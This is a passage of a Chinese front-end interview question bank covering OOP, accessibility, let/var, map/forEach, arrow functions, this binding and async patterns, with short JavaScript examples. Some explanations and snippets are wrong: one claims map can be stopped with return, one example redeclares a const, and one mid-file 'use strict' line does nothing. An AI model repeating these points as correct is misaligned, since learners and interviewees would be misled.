  • 与第 45 题同考点
  • 核心:把数据和操作数据的方法封装成对象,用消息传递来协作
  • 三大特性:封装、继承、多态
  • 五个设计原则 SOLID:单一职责、开闭原则、里氏替换、接口隔离、依赖倒置
  • 一条实用建议:组合优于继承 —— 继承层级一深就难维护,用组合(把能力拼进来)更灵活,React Hooks 和 Vue Composition API 都是这个思路

面向对象编程的核心,是把相关数据和操作封装成对象,再通过对象之间的交互来组织程序。 封装负责隐藏实现、控制对外接口,继承用于复用和扩展已有能力,多态则让同一种调用在不同对象上表现出不同的行为。这样设计通常能提高代码的可维护性、复用性和可测试性,也更容易适应需求变化。它并非适合所有场景,因为抽象层次过多会增加设计复杂度、学习成本和性能开销,是否采用仍要结合项目规模与需求判断。

面向对象编程(Object-Oriented Programming,简称OOP)是一种编程思想和方法论,其基本思想是以对象为中心,通过封装、继承和多态等机制来组织和管理代码。以下是面向对象编程的基本思想:

  1. 封装(Encapsulation):将数据和对数据的操作封装在一起,形成对象。对象对外暴露有限的接口,隐藏内部实现细节,提供更好的模块化和抽象性。
  2. 继承(Inheritance):通过继承机制,一个类(子类)可以继承另一个类(父类)的属性和方法,并可以在此基础上添加、修改或扩展功能。继承可以实现代码的重用性和层次化的组织。
  3. 多态(Polymorphism):多态是指同一个方法名可以在不同的对象上产生不同的行为。通过多态,可以以统一的方式处理不同类型的对象,提高代码的灵活性和可扩展性。

面向对象编程的优点包括:

  • 易维护性:对象的封装性和模块化使得代码易于维护和理解。对修改封闭、对扩展开放的原则可以减少对已有代码的影响。
  • 代码重用性:通过继承和组合等机制,可以重用已有的类和代码,减少重复编写代码的工作量。
  • 灵活性和可扩展性:面向对象编程提供了灵活的结构和抽象层次,使得代码易于扩展和修改,适应需求的变化。
  • 可靠性:封装和继承等机制可以提高代码的可靠性和可测试性,减少错误的发生和影响范围。
  • 可理解性:面向对象的代码通常具有良好的可读性和可理解性,对象和类的设计使得代码更加直观和自然。

面向对象编程可以提供更高层次的抽象和组织,适用于复杂的系统和大型项目的开发。但同时,面向对象编程也有一些限制和挑战,如学习曲线较陡、设计复杂度高、性能开销等。适合选择何种编程思想取决于具体的项目需求和开发场景。

# 47 对web标准、可用性、可访问性的理解

⚡ 30 秒速记

  • Web 标准:结构(HTML)、表现(CSS)、行为(JS)三者分离,遵循 W3C/WHATWG 规范
  • 可用性(Usability):普通用户能不能顺畅完成任务 —— 加载快、交互清晰、错误提示明确、兼容主流环境
  • 可访问性(Accessibility / a11y):障碍用户能不能用 —— 读屏器、键盘操作、色盲、低视力
  • a11y 的实际落地:语义化标签、图片 alt、表单 label 关联、键盘可达且焦点可见、对比度达标、必要时补 ARIA
  • 一条重要原则:能用原生语义标签就别用 div + ARIA 硬造(第一条 ARIA 规则就是"别用 ARIA")
  • 这不只是道德问题 —— 国内外都有无障碍法规要求,大厂面试越来越常问

Web 标准保证页面在不同浏览器和设备上的一致性与互操作性,可用性关注用户是否好用,可访问性关注包括残障用户在内的所有人是否能用。 遵循 HTML、CSS、JavaScript 等规范,通常也能改善代码的可维护性和扩展性。可用性更强调界面直观、一致、反馈明确,减少学习和操作成本;可访问性则需要兼顾读屏器、放大器和辅助键盘等使用方式。工程中这三者应一起考虑,因为标准化实现是基础,清晰交互和无障碍支持才能让更多用户顺利获取内容。

Web标准(Web Standards)是指由W3C(World Wide Web Consortium)等组织制定的用于开发和实现Web内容的一系列规范和标准。它包括HTML、CSS、JavaScript等技术规范,旨在确保不同浏览器和设备在呈现网页时的一致性和互操作性。遵循Web标准可以提高网站的可维护性、可访问性和可扩展性,同时提升用户体验。

  • 可用性(Usability)是指一个产品或系统在用户使用过程中的易用性和用户满意度。一个具有良好可用性的产品能够满足用户的需求,提供直观、简洁、一致的用户界面,减少用户的学习成本和操作复杂度,提供明确的反馈和帮助信息,从而提升用户的效率和满意度。
  • 可访问性(Accessibility)是指Web内容对于所有用户,包括残障用户,的可阅读和可理解性。它涉及到使用无障碍技术和遵循无障碍设计原则,以确保残障用户能够平等地获取和使用Web内容。这包括为视觉、听觉、运动和认知等方面的残障用户提供适当的辅助功能和支持,如屏幕阅读器、放大器、辅助键盘等。
  • 可维护性(Maintainability)是指一个系统或代码的易维护性和可理解性。一个具有良好可维护性的系统能够快速定位和修复问题,容易进行功能扩展和修改。为了提高可维护性,代码应具有良好的结构和组织,遵循设计模式和编程规范,提供清晰的注释和文档,同时采用合适的工具和方法进行版本控制和测试。

这三个概念在Web开发中都非常重要。遵循Web标准可以提高网站的可访问性和可用性,从而更好地服务于用户的需求。同时,考虑可维护性可以降低代码的维护成本和风险,使开发团队能够更加高效地进行开发和迭代。

# 48 如何通过JS判断一个数组

⚡ 30 秒速记

  • Array.isArray(arr) —— 首选,ES5 起支持,跨 iframe 也准确
  • Object.prototype.toString.call(arr) === '[object Array]' —— 最通用的兜底写法
  • arr instanceof Array —— 简单但跨 iframe/realm 会失效(不同全局环境有各自的 Array 构造函数)
  • arr.constructor === Array —— constructor 可被改写,不可靠
  • 不要用 typeof,数组的 typeof 是 'object'

判断数组优先使用 Array.isArray(value),它会直接返回布尔值,是 ES5 提供的标准方法。 如果需要另一种通用写法,可以判断 Object.prototype.toString.call(value) === '[object Array]'。value instanceof Array 和 value.constructor === Array 也能用于判断,但后者依赖可被访问或修改的 constructor 属性,因此不够稳妥。工程中一般选 Array.isArray(),只有兼容特定旧环境或处理特殊边界时,再考虑其他方案。

  1. instanceof方法:使用instanceof运算符判断对象是否为数组,返回布尔值。例如:arr instanceof Array。
  2. constructor方法:使用constructor属性返回对象的构造函数,并判断该构造函数是否为数组构造函数。例如:arr.constructor == Array。
  3. 使用Object.prototype.toString.call()方法:利用Object.prototype.toString.call(value)方法,将要判断的变量作为参数传入,并判断返回的字符串是否为"[object Array]"。例如:Object.prototype.toString.call(arr) == '[object Array]'。
  4. ES5新增的isArray()方法:使用Array.isArray()方法判断一个值是否为数组,返回布尔值。例如:Array.isArray(arr)。

# 49 谈一谈let与var的区别

⚡ 30 秒速记

  • 作用域:var 是函数作用域,let 是块级作用域
  • 提升:var 会提升并初始化为 undefined;let 也提升但不初始化,声明前访问报 ReferenceError —— 这段区间叫暂时性死区(TDZ)
  • 重复声明:var 允许,let 不允许
  • 全局声明:顶层 var 会挂到 window 上,let 不会
  • 循环中的表现:for(let i) 每次迭代创建新绑定,配闭包能拿到 0/1/2;var 只有一个 i,三个闭包都拿到 3 —— 第 1 题有交互演示
  • 实践:一律 const 优先,需要重新赋值才用 let,永远不用 var

let 是块级作用域,var 是函数作用域或全局作用域,这是两者最核心的区别。 var 的声明会提升,声明前读取会得到 undefined;let 在声明前不可访问,否则会抛出 ReferenceError。同一作用域内,var 可以重复声明,而 let 不允许。比如在 for 循环里,let 会为每次迭代创建新绑定,异步回调能依次拿到 0、1、2,var 则会共享同一个变量,最后都拿到 3。

1. 块级作用域:

  • let声明的变量具有块级作用域,在块级作用域内定义的变量只在该块内有效。
  • var声明的变量没有块级作用域,它的作用域是函数级的或全局的。

示例代码:

// 使用 let 声明变量
function example1() {
  let x = 10;

  if (true) {
    let x = 20;
    console.log(x); // 输出 20
  }

  console.log(x); // 输出 10
}

example1();

// 使用 var 声明变量
function example2() {
  var y = 30;

  if (true) {
    var y = 40;
    console.log(y); // 输出 40
  }

  console.log(y); // 输出 40
}

example2();

2. 变量提升:

  • 使用 let 声明的变量不存在变量提升,必须在声明后使用。
  • 使用 var 声明的变量会存在变量提升,可以在声明之前使用。

示例代码:

// 使用 let 声明变量
function example3() {
  console.log(x); // 报错:ReferenceError: x is not defined
  let x = 10;
}

example3();

// 使用 var 声明变量
function example4() {
  console.log(y); // 输出 undefined
  var y = 20;
}

example4();

3. 重复声明:

  • 使用 let 声明的变量不允许重复声明,重复声明会导致报错。
  • 使用 var 声明的变量允许重复声明,不会报错,后面的声明会覆盖前面的声明。

示例代码:

// 使用 let 声明变量
let z = 30;
let z = 40; // 报错:SyntaxError: Identifier 'z' has already been declared

// 使用 var 声明变量
var w = 50;
var w = 60; // 不会报错,后面的声明覆盖前面的声明
console.log(w); // 输出 60

4. 循环中的区别

在for循环中,使用var声明的变量具有函数作用域,因此在循环结束后仍然可以访问到循环变量;而使用let声明的变量具有块级作用域,因此在每次循环迭代时会创建一个新的变量实例,避免了常见的循环中的问题。

  • 使用 let 声明的变量在循环体内部具有块级作用域,每次迭代都会创建一个新的变量。
  • 使用 var 声明的变量在循环体内部没有块级作用域,变量是函数级的或全局的。
// 使用 let 声明变量的循环
for (let i = 0; i < 3; i++) {
  setTimeout(function() {
    console.log(i); // 输出 0, 1, 2
  }, 1000);
}

// 使用 var 声明变量的循环
for (var j = 0; j < 3; j++) {
  setTimeout(function() {
    console.log(j); // 输出 3, 3, 3
  }, 1000);
}

# 50 map与forEach的区别

⚡ 30 秒速记

  • 返回值:map 返回一个等长的新数组,forEach 返回 undefined
  • 用途:map 用于"转换"(要结果),forEach 用于"执行副作用"(不要结果)
  • 链式:map 可以继续 .filter().reduce(),forEach 不行
  • 中断:两者都不能用 break/return 提前跳出(要中断用 for...of、some、every)
  • 性能差异很小,别为此纠结;可读性上"要新数组就用 map"是更重要的准则
  • 常见坏味道:用 map 却不接收返回值 —— 那应该用 forEach

map 用来把数组转换成一个等长的新数组,forEach 则更适合单纯遍历和执行操作。 map 会把每次回调的返回值依次放入新数组,而 forEach 本身返回 undefined。因为 map 有数组结果,所以后面还能继续调用 filter、reduce 等方法;forEach 无法这样串联。实际写代码时,需要生成新数据就用 map,只是打印、记录或修改外部状态时用 forEach 更直观。

  • forEach方法是无法中断的,即使在遍历过程中使用return语句也无法停止遍历。而map方法可以使用return语句中断遍历。
  • map方法会生成一个新的数组,并将每次遍历的返回值按顺序放入新数组中。而forEach方法没有返回值,仅用于遍历数组。
  • map方法可以链式调用其他数组方法,比如filter、reduce等。而forEach方法不能链式调用其他数组方法。

示例代码:

const numbers = [1, 2, 3, 4, 5];

// 使用 forEach 方法遍历数组
numbers.forEach(function(item, index, array) {
  console.log(item); // 输出数组元素
  console.log(index); // 输出索引值
  console.log(array); // 输出原数组
});

// 使用 map 方法遍历数组并生成新数组
const doubledNumbers = numbers.map(function(item, index, array) {
  return item * 2;
});
console.log(doubledNumbers); // 输出 [2, 4, 6, 8, 10]

在上面的示例中,使用forEach方法遍历数组并输出元素、索引和原数组。而使用map方法遍历数组并返回每个元素的两倍值,生成一个新的数组doubledNumbers。注意,在map的回调函数中使用了return语句来指定返回值。

总结:forEach方法用于遍历数组,没有返回值;map方法也用于遍历数组,返回一个新的数组,并且可以通过在回调函数中使用return语句来指定每次遍历的返回值。

# 51 谈一谈你理解的函数式编程

⚡ 30 秒速记

  • 核心思想:用纯函数组合来构建程序,避免共享状态和副作用
  • 纯函数:相同输入必得相同输出、不修改外部状态 —— 易测试、易缓存、易并行
  • 不可变数据:不改原对象而是返回新对象(展开运算符、structuredClone、Immer)
  • 高阶函数:接收或返回函数 —— map/filter/reduce、柯里化、组合 compose/pipe
  • 声明式优于命令式:描述"要什么"而不是"怎么做"
  • 前端里的实际应用:React 组件本身就是 UI = f(state) 的纯函数,Redux reducer 必须是纯函数,Hooks 强调不可变更新
  • 别走极端:JS 不是纯函数式语言,副作用不可避免,关键是把副作用集中管理(React 的 useEffect 就是这个思路)

函数式编程本质上是把计算拆成函数求值,再通过函数组合完成业务逻辑。 它强调纯函数和不可变数据,相同输入应得到相同输出,并尽量不修改参数或外部状态,因此代码更容易预测和测试。函数也可以作为参数或返回值,所以 map、filter、reduce 这类高阶函数很适合做抽象和组合。惰性计算则是在真正需要结果时才执行,不过实际开发中不必追求完全纯粹,应根据可读性和业务场景取舍。

  • 简单说,"函数式编程"是一种"编程范式"(programming paradigm),也就是如何编写程序的方法论
  • 它具有以下特性:闭包和高阶函数、惰性计算、递归、函数是"第一等公民"、只用"表达式"

函数式编程(Functional Programming)是一种编程范式,它强调将计算过程视为函数求值的数学模型,通过组合和应用函数来进行程序开发。函数式编程具有以下特点:

  1. 纯函数(Pure Functions):函数的输出只由输入决定,不会产生副作用,即对同样的输入始终返回相同的输出。纯函数不会修改传入的参数,也不会改变外部状态,使得代码更加可预测和易于测试。
  2. 不可变性(Immutability):数据一旦创建就不能被修改,任何对数据的改变都会创建一个新的数据副本。这种不可变性使得代码更加安全,避免了一些潜在的错误。
  3. 高阶函数(Higher-Order Functions):函数可以作为参数传递给其他函数,也可以作为返回值返回。这种高阶函数的能力可以用来进行函数的组合、封装和抽象,提高代码的复用性和可读性。
  4. 函数组合(Function Composition):通过将多个函数组合成一个新的函数,可以实现更复杂的逻辑。函数组合可以通过函数的返回值作为参数传递给另一个函数,将多个函数连接起来形成一个函数链。
  5. 惰性计算(Lazy Evaluation):只在需要的时候才进行计算,避免不必要的计算。这种惰性计算可以提高程序的性能和效率。

下面是一个简单的函数式编程的示例代码:

// 纯函数示例:计算一个数组中所有偶数的平均值
function calculateAverage(numbers) {
  const evenNumbers = numbers.filter((num) => num % 2 === 0);
  const sum = evenNumbers.reduce((acc, curr) => acc + curr, 0);
  return sum / evenNumbers.length;
}

const numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
const average = calculateAverage(numbers);
console.log(average); // 输出 6

// 高阶函数示例:使用 map 和 reduce 计算数组中每个元素的平方和
function calculateSquareSum(numbers) {
  return numbers.map((num) => num * num).reduce((acc, curr) => acc + curr, 0);
}

const numbers = [1, 2, 3, 4, 5];
const squareSum = calculateSquareSum(numbers);
console.log(squareSum); // 输出 55

// 函数组合示例:组合两个函数计算数组中偶数的平方和
const evenNumbersSquareSum = calculateSquareSum(numbers.filter((num) => num % 2 === 0));
console.log(evenNumbersSquareSum); // 输出 20

在上面的示例代码中,我们使用纯函数的方式编写了两个函数calculateAverage和calculateSquareSum,它们接收一个数组作为参数,并根据函数式编程的原则

# 52 谈一谈箭头函数与普通函数的区别?

⚡ 30 秒速记

  • this:箭头函数没有自己的 this,取定义时外层作用域的 this,call/apply/bind 都改不了
  • 不能作为构造函数:没有 prototype,不能 new
  • 没有 arguments:要用剩余参数 ...args
  • 不能作为 Generator:不能用 yield
  • 语法:单参数可省括号、单表达式可省 return 和大括号(返回对象字面量要加括号包起来)
  • 使用建议:回调和需要保留外层 this 的场景用箭头函数;对象方法、需要动态 this 的场景用普通函数
  • 一个常见坑:Vue 的 methods 里写箭头函数会拿不到组件实例

箭头函数和普通函数最关键的区别,是箭头函数没有自己的 this,而普通函数的 this 由调用方式决定。 箭头函数会捕获定义位置外层的 this,使用 call、apply 或 bind 也不能改变它。它还不能通过 new 实例化,没有自己的 arguments,需要用剩余参数 ...args,同时也不能作为 Generator 使用 yield。我一般在回调或需要保留外层 this 时用箭头函数,需要动态 this 或构造实例时使用普通函数。

  1. this指向: 箭头函数没有自己的this,它会捕获所在上下文的this值。而普通函数的this是在运行时确定的,根据调用方式决定。
// 普通函数中的this指向调用者
function greet() {
  console.log(`Hello, ${this.name}!`);
}

const person = { name: 'Alice' };

greet.call(person); // 输出:Hello, Alice!

// 箭头函数中的this指向定义时的上下文
const greetArrow = () => {
  console.log(`Hello, ${this.name}!`);
};

greetArrow.call(person); // 输出:Hello, undefined!
  1. 不可作为构造函数: 箭头函数不能使用new关键字来创建实例,它没有自己的prototype属性,无法进行实例化。
const Person = (name) => {
  this.name = name; // 错误,箭头函数不能作为构造函数
};

const person = new Person('Alice'); // 错误,无法实例化箭头函数
  1. 无arguments对象: 箭头函数没有自己的arguments对象,可以使用Rest参数来代替。
function sum() {
  console.log(arguments); // 输出函数的参数列表
}

sum(1, 2, 3); // 输出:Arguments(3) [1, 2, 3]

const sumArrow = (...args) => {
  console.log(args); // 输出函数的参数列表
};

sumArrow(1, 2, 3); // 输出:[1, 2, 3]
  1. 无yield命令: 箭头函数不能用作Generator函数,无法使用yield命令进行函数的暂停和恢复。
function* generatorFunc() {
  yield 1;
  yield 2;
}

const gen = generatorFunc();
console.log(gen.next().value); // 输出:1

const arrowGen = () => {
  yield 1; // 错误,箭头函数不能使用yield命令
};

综上所述,箭头函数与普通函数在this指向、构造函数能力、arguments对象和yield命令等方面有明显的区别。根据具体的使用场景和需求,选择适合的函数类型进行编程。

总结

  • 函数体内的this对象,就是定义时所在的对象,而不是使用时所在的对象
  • 不可以当作构造函数,也就是说,不可以使用new命令,否则会抛出一个错误
  • 不可以使用arguments对象,该对象在函数体内不存在。如果要用,可以用Rest参数代替
  • 不可以使用yield命令,因此箭头函数不能用作Generator函数

# 53 谈一谈函数中this的指向

⚡ 30 秒速记

  • 核心:普通函数的 this 在调用时确定,看"谁调用";箭头函数的 this 在定义时确定,看"写在哪"
  • 优先级从高到低:new > call/apply/bind 显式绑定 > 方法调用(隐式绑定)> 独立调用(默认绑定)
  • 独立调用时,非严格模式 this 是 globalThis,严格模式(含 ES module、class 内部)是 undefined
  • 两个高频坑:把方法赋值给变量后单独调用会丢 this;方法内部嵌套的普通函数也是独立调用,this 一样丢
  • 箭头函数不在这个体系里 —— 它没有自己的 this,call/bind 也改不动

普通函数的 this 由调用方式决定,箭头函数的 this 则继承定义位置外层的绑定。 对普通函数来说,优先级通常是 new、call/apply/bind、对象方法调用、独立调用。独立调用在非严格模式下指向全局对象,严格模式下是 undefined;方法赋给变量后再调用,也会丢失原来的对象绑定。箭头函数没有自己的 this,所以不能用 call 或 bind 改变,也不能通过 new 调用。

函数中的this指向是根据函数的调用方式而确定的,有以下几种常见的情况:

  1. 方法调用模式: 当函数作为对象的方法被调用时,this指向调用该方法的对象。
const person = {
  name: 'Alice',
  greet: function() {
    console.log(`Hello, ${this.name}!`);
  }
};

person.greet(); // 输出:Hello, Alice!
  1. 函数调用模式: 当函数独立调用时,this指向全局对象(在浏览器环境中通常指向window对象)或undefined(在严格模式下)。
function greet() {
  console.log(`Hello, ${this.name}!`);
}

const name = 'Alice';

greet(); // 输出:Hello, undefined!

// 在严格模式下
'use strict';
greet(); // 输出:Hello, undefined!
  1. 构造器调用模式: 当函数用作构造器(使用new关键字)创建对象时,this指向新创建的对象。
function Person(name) {
  this.name = name;
  this.greet = function() {
    console.log(`Hello, ${this.name}!`);
  };
}

const person = new Person('Alice');

person.greet(); // 输出:Hello, Alice!
  1. apply/call调用模式: 使用apply或call方法来调用函数时,可以手动指定this的值。
function greet() {
  console.log(`Hello, ${this.name}!`);
}

const person = {
  name: 'Alice'
};

greet.call(person); // 输出:Hello, Alice!
greet.apply(person); // 输出:Hello, Alice!

总结来说,函数中的this指向是根据函数的调用方式来确定的,可以是调用函数的对象、全局对象、新创建的对象,或者通过apply/call方法手动指定。了解函数的调用方式可以帮助理解和正确使用this关键字。

总结

1. this 指向有哪几种

  • 默认绑定:全局环境中,this默认绑定到window
  • 隐式绑定:一般地,被直接对象所包含的函数调用时,也称为方法调用,this隐式绑定到该直接对象
  • 隐式丢失:隐式丢失是指被隐式绑定的函数丢失绑定对象,从而默认绑定到window。显式绑定:通过call()、apply()、bind()方法把对象绑定到this上,叫做显式绑定
  • new绑定:如果函数或者方法调用之前带有关键字new,它就构成构造函数调用。对于this绑定来说,称为new绑定
    • 构造函数通常不使用return关键字,它们通常初始化新对象,当构造函数的函数体执行完毕时,它会显式返回。在这种情况下,构造函数调用表达式的计算结果就是这个新对象的值
    • 如果构造函数使用return语句但没有指定返回值,或者返回一个原始值,那么这时将忽略返回值,同时使用这个新对象作为调用结果
    • 如果构造函数显式地使用return语句返回一个对象,那么调用表达式的值就是这个对象

2. 改变函数内部 this 指针的指向函数(bind,apply,call的区别)

  • apply:调用一个对象的一个方法,用另一个对象替换当前对象。例如:B.apply(A, arguments);即A对象应用B对象的方法
  • call:调用一个对象的一个方法,用另一个对象替换当前对象。例如:B.call(A, args1,args2);即A对象调用B对象的方法
  • bind除了返回是函数以外,它的参数和call一样

3. 箭头函数

  • 箭头函数没有this,所以需要通过查找作用域链来确定this的值,这就意味着如果箭头函数被非箭头函数包含,this绑定的就是最近一层非箭头函数的this,
  • 箭头函数没有自己的arguments对象,但是可以访问外围函数的arguments对象
  • 不能通过new关键字调用,同样也没有new.target值和原型

# 54 异步编程的实现方式

⚡ 30 秒速记

  • 回调函数:最原始,容易形成回调地狱,且错误处理麻烦
  • 事件监听 / 发布订阅:解耦但流程不直观
  • Promise:链式调用解决嵌套,有统一的错误处理(catch)
  • Generator + co:用 yield 暂停恢复,async/await 的前身
  • async/await(首选):写起来像同步代码,用 try/catch 处理错误
  • 并发控制:Promise.all 全并行、allSettled 不怕单个失败、race 抢先、any 取第一个成功
  • 实用提醒:循环里 await 是串行的,要并行得先收集 Promise 再 Promise.all;大批量并发要做并发数限制

异步编程常见实现有回调、事件或发布订阅、Promise、Generator 以及 async/await。 回调最直接,但层级多后耦合较高;事件和发布订阅能解耦调用双方,不过执行流程不够直观。Promise 用链式调用统一处理结果和错误,Generator 能借助 yield 暂停和恢复执行,但需要额外管理流程。我一般优先用返回 Promise 的 async/await,因为代码结构接近同步写法,错误可以通过 try/catch 处理。

  • 回调函数:在异步操作完成后,通过回调函数来处理结果
    • 优点:简单、容易理解
    • 缺点:不利于维护,代码耦合高
function fetchData(callback) {
  setTimeout(() => {
    const data = 'Hello, world!';
    callback(data);
  }, 1000);
}

fetchData((data) => {
  console.log(data); // 输出:Hello, world!
});
  • 事件监听:通过事件的发布和订阅来实现异步操作
    • 优点:容易理解,可以绑定多个事件,每个事件可以指定多个回调函数
    • 缺点:事件驱动型,流程不够清晰
function fetchData() {
  setTimeout(() => {
    const data = 'Hello, world!';
    eventEmitter.emit('dataReceived', data);
  }, 1000);
}

eventEmitter.on('dataReceived', (data) => {
  console.log(data); // 输出:Hello, world!
});

fetchData();
  • 发布/订阅(观察者模式):类似于事件监听,但是可以通过消息中心来管理发布者和订阅者
    • 类似于事件监听,但是可以通过‘消息中心’,了解现在有多少发布者,多少订阅者
function fetchData() {
  setTimeout(() => {
    const data = 'Hello, world!';
    messageCenter.publish('dataReceived', data);
  }, 1000);
}

messageCenter.subscribe('dataReceived', (data) => {
  console.log(data); // 输出:Hello, world!
});

fetchData();
  • Promise对象:使用Promise对象可以更方便地处理异步操作的结果和错误
    • 优点:可以利用then方法,进行链式写法;可以书写错误时的回调函数;
    • 缺点:编写和理解,相对比较难
function fetchData() {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      const data = 'Hello, world!';
      resolve(data);
    }, 1000);
  });
}

fetchData()
  .then((data) => {
    console.log(data); // 输出:Hello, world!
  })
  .catch((error) => {
    console.error(error);
  });
  • Generator函数:使用Generator函数可以实现函数体内外的数据交换和错误处理
    • 优点:函数体内外的数据交换、错误处理机制
    • 缺点:流程管理不方便
function* fetchData() {
  try {
    const data = yield new Promise((resolve, reject) => {
      setTimeout(() => {
        resolve('Hello, world!');
      }, 1000);
    });
    console.log(data); // 输出:Hello, world!
  } catch (error) {
    console.error(error);
  }
}

const generator = fetchData();
const promise = generator.next().value;
promise
  .then((data) => {
    generator.next(data);
  })
  .catch((error) => {
    generator.throw(error);
  });
  • async函数:async函数是Generator函数的语法糖,可以更方便地编写和理解异步代码
    • 优点:内置执行器、更好的语义、更广的适用性、返回的是Promise、结构清晰。
    • 缺点:错误处理机制
async function fetchData() {
  try {
    const data = await new Promise((resolve, reject) => {
      setTimeout(() => {
        resolve('Hello, world!');
      }, 1000);
    });
    console.log(data); // 输出:Hello, world!
  } catch (error) {
    console.error(error);
  }
}

fetchData();

# 56 谈谈你对原生Javascript了解程度

⚡ 30 秒速记

  • 这是个开放题,按层次答比堆名词好
  • 语言层:数据类型与转换、作用域与闭包、this 与原型链、异步与事件循环、模块化
  • API 层:DOM 操作与事件、BOM、存储、网络(fetch/XHR/WebSocket)、Web API(IntersectionObserver、Web Worker、Canvas)
  • 工程层:ES6+ 新特性、错误处理、性能优化、内存管理
  • 答题建议:选一两个自己真正深入过的点展开(比如"我手写过 Promise"、"排查过一个内存泄漏"),比泛泛罗列有说服力得多

我对原生 JavaScript 的理解可以归为语言基础、浏览器能力和工程应用三个层面。 语言基础包括数据类型、作用域与闭包、函数、原型链和异步机制,它们决定代码为什么这样运行。浏览器层面主要是事件、DOM、BOM、网络请求和存储,用来完成页面交互与数据通信。工程中还要关注模块化、跨域、资源异步加载和内存泄漏;真要判断掌握程度,我更愿意结合具体代码说明原理与边界,而不是只罗列名词。

数据类型、运算、对象、Function、继承、闭包、作用域、原型链、事件、RegExp、JSON、Ajax、DOM、BOM、内存泄漏、跨域、异步装载、模板引擎、前端MVC、路由、模块化、Canvas、ECMAScript

1. 数据类型:JavaScript具有多种数据类型,包括字符串、数字、布尔值、对象、数组、函数等 2. 运算:JavaScript支持常见的算术运算、逻辑运算和比较运算,也支持位运算和三元运算符

let sum = 5 + 3;
let isTrue = true && false;
let isEqual = 10 === 5;
let bitwiseOr = 3 | 5;
let result = (num > 0) ? "Positive" : "Negative";

3. 对象:JavaScript中的对象是键值对的集合,可以通过字面量形式或构造函数创建对象

let person = { name: "poetry", age: 25 };
let car = new Object();
car.brand = "Toyota";
car.color = "Blue";

4. Function:JavaScript中的函数是一等公民,可以作为变量、参数或返回值进行操作

function add(a, b) {
  return a + b;
}

let multiply = function(a, b) {
  return a * b;
};

let result = multiply(2, 3);

5. 继承: JavaScript使用原型链实现对象之间的继承关系

function Animal(name) {
  this.name = name;
}

Animal.prototype.sayHello = function() {
  console.log("Hello, I'm " + this.name);
};

function Dog(name, breed) {
  Animal.call(this, name);
  this.breed = breed;
}

Dog.prototype = Object.create(Animal.prototype);
Dog.prototype.constructor = Dog;

let dog = new Dog("Max", "Labrador");
dog.sayHello();

6. 闭包:闭包是指函数能够访问其词法作用域外的变量,通过闭包可以实现数据的私有化和封装

function outerFunction() {
  let count = 0;

  return function() {
    count++;
    console.log(count);
  };
}

let increment = outerFunction();
increment(); // 输出:1
increment(); // 输出:2

7. 作用域:JavaScript具有函数作用域和块级作用域,在不同的作用域中变量的可访问性不同

function example() {
  let x = 10;

  if (true) {
    let y = 20;
    console.log(x); // 输出:10
    console.log(y); // 输出:20
  }
}

8. 原型链:原型链是JavaScript中实现对象继承的机制,每个对象都有一个原型对象,形成一个链式结构

function Animal(name) {
  this.name = name;
}

Animal.prototype.sayHello = function() {
  console.log("Hello, I'm " + this.name);
};

function Dog(name, breed) {
  this.breed = breed;
}

Dog.prototype = Object.create(Animal.prototype);
Dog.prototype.constructor = Dog;

let dog = new Dog("Max", "Labrador");
dog.sayHello();

9. 事件:JavaScript通过事件来响应用户的操作,可以通过事件监听和事件处理函数来实现

let button = document.getElementById("myButton");

button.addEventListener("click", function() {
  console.log("Button clicked");
});

10. RegExp:正则表达式是一种用于匹配和操作字符串的强大工具,JavaScript中提供了内置的RegExp对象

let pattern = /[a-zA-Z]+/;
let text = "Hello, World!";
let result = pattern.test(text);
console.log(result); // 输出:true

11. JSON:JSON是一种用于数据交换的格式,JavaScript提供了JSON对象来进行解析和生成JSON数据

let jsonStr = '{"name":"poetry", "age":25}';
let obj = JSON.parse(jsonStr);
console.log(obj.name); // 输出:poetry

let obj2 = { name: "Jane", age: 30 };
let jsonStr2 = JSON.stringify(obj2);
console.log(jsonStr2); // 输出:{"name":"Jane","age":30}

12. Ajax:Ajax是一种在后台与服务器进行异步通信的技术,可以实现页面的局部刷新和动态数据加载

let xhr = new XMLHttpRequest();
xhr.open("GET", "https://api.example.com/data", true);
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4 && xhr.status === 200) {
    let response = xhr.responseText;
    console.log(response);
  }
};
xhr.send();

13. DOM:DOM是JavaScript操作网页内容和结构的接口,可以通过DOM来增删改查网页元素

let element = document.getElementById("myElement");
element.innerHTML = "New content";

let newElement = document.createElement("div");
newElement.textContent = "Dynamic element";
document.body.appendChild(newElement);

14. BOM:BOM(浏览器对象模型)提供了与浏览器窗口交互的接口,如操作浏览器历史记录、定时器等

window.location.href = "https://www.example.com";
let screenWidth = window.screen.width;
let timer = setTimeout(function() {
   console.log("Timer expired");
}, 5000);

15. 内存泄漏:内存泄漏是指无用的内存占用没有被释放,JavaScript中需要注意避免造成内存泄漏

function createHeavyObject() {
  let bigArray = new Array(1000000).fill("data");
  return bigArray;
}

let data = createHeavyObject();

// 释放无用的引用,帮助垃圾回收器回收内存
data = null;

16. 跨域:跨域是指在浏览器中访问不同源的资源,需要遵守同源策略或通过CORS等方式解决

// 跨域请求示例
let xhr = new XMLHttpRequest();
xhr.open("GET", "https://api.example.com/data", true);
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4 && xhr.status === 200) {
    let response = xhr.responseText;
    console.log(response);
  }
};
xhr.send();

17. 异步装载:通过异步加载资源,如图片、样式表和脚本,可以提高页面加载和性能

// 异步加载脚本
let script = document.createElement("script");
script.src = "https://example.com/script.js";
document.head.appendChild(script);

// 异步加载图片
let image = new Image();
image.src = "https://example.com/image.jpg";
image.onload = function() {
  console.log("Image loaded");
};

18. 模板引擎:模板引擎是用于生成动态HTML内容的工具,可以将数据和模板进行结合生成最终的HTML

let data = { name: "poetry", age: 25 };

let template = `
  <h1>My Profile</h1>
  <p>Name: ${data.name}</p>
  <p>Age: ${data.age}</p>
`;

document.getElementById("profileContainer").innerHTML = template;

19. 前端MVC:前端MVC(Model-View-Controller)是一种将应用程序分为数据模型、视图和控制器的架构模式

// 模型(Model)
let user = {
  name: "poetry",
  age: 25
};

// 视图(View)
function renderUser(user) {
  let container = document.getElementById("userContainer");
  container.innerHTML = `
    <p>Name: ${user.name}</p>
    <p>Age: ${user.age}</p>
  `;
}

// 控制器(Controller)
function updateUserAge(newAge) {
  user.age = newAge;
  renderUser(user);
}

updateUserAge(30);

20. 路由:路由是指根据不同的URL路径切换不同的页面或视图,前端路由可以通过URL的变化来加载对应的组件或页面

// 设置路由规则
const routes = [
  { path: "/", component: Home },
